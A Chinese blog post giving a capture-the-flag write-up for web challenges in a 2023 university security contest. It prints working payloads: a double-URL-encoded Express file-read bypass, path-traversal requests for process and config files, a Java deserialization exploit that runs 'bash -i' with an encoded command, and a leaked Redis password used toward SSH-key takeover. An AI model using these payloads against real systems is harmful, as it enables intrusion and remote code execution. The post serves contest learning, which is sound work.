Z1d10tのBlog

A note for myself,have fun!

2023“网信柏鹭杯”大学生网络空间安全精英赛 WEB WP与复现

Z1d10t's Avatar 2023-10-14 各赛事WP

  1. 1. WEB
    1. 1.1. express fs
    2. 1.2. 综合题五
    3. 1.3. 综合题六
    4. 1.4. 综合题七
    5. 1.5. 还有三个题均为0解
    6. 1.6.

web

WEB

express fs

看url是个nodejs文件读取的题目

发现是原题https://cloud.tencent.com/developer/article/2123023

payload:

ban了flag字样 对其双url编码即可绕过

因为Express 已经 URL 解码一次

1
?file[href]=a&file[origin]=1&file[protocol]=file:&file[hostname]=&file[pathname]=/fl%2561g.txt

综合题五

有一个文件上传的点 但是这道题没用

然后观察读取上传的文件url发现存在任意文件读取

查看一下当前进程

1
/readfile?filename=../../../../../../proc/self/cmdline

发现/app目录下有jar包 就想读下来

img

1
/readfile?filename=../../../../../../app/demo.jar

当时比赛环境它有问题 我根本下载不下来 一直在转圈

复现发现是过了那个bp代理就下不下来 得去掉才行

得到源码 很明显o0o函数在做一个异或操作或者调教gpt也能知道

img

直接用大头师傅的脚本

1
2
3
4
5
6
7
8
9
10
import base64
from pwn import *
key = b'6925cc02789c1d2552b71acc4a2d48fd'
enc = 'UFVTUhgqY3d0FQxRVFcHBlQLVwdSVlZRVlJWBwxeVgAHWgsBWgUAAQEJRA=='
enc = base64.b64decode(enc)
print(enc)
# key = bytes.fromhex(key)
flag = xor(key,enc)
print(flag)
# flag{ISEC-52e353a950c752b3dc8f0d1c949f0361}

综合题六

img

重写readObject 并且有一个恶意类 还能执行命令函数 很明显一个java反序列化利用

在这个路由下利用

img

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class exp {
public static void main(String[] args) throws Exception {
Ping ping = new Ping();
ping.setCommand("bash");
ping.setArg1("-i");
//和ysoserial命令利用方式一样
ping.setArg2("{echo,命令base64编码}|{base64,-d}|{bash,-i}");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(ping);
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));

}

}

综合题七

经过综合题六到内网 有一个redis并且22端口开放 就是redis写ssh公钥的 没环境大致和那个moectf内网渗透题目一模一样

先从内网中读到redis密码

1
2
3
4
5
6
7
8
/readfile?filename=../../../../../../../usr/local/share/application.properties
server.port=18080
server.servlet.context-path=/
management.endpoints.web.exposure.include=heapdump
spring.redis.host=172.25.0.10
spring.redis.port=62341
spring.redis.password=de17cb1cfa1a8e8011f027b416775c6a
spring.servlet.multipart.max-file-size=10MB

之后流程可参考Redis未授权访问写Webshell和公私钥认证获取root权限 - 卿先生 - 博客园

还有三个题均为0解

本文最后更新于 天前,文中所描述的信息可能已发生改变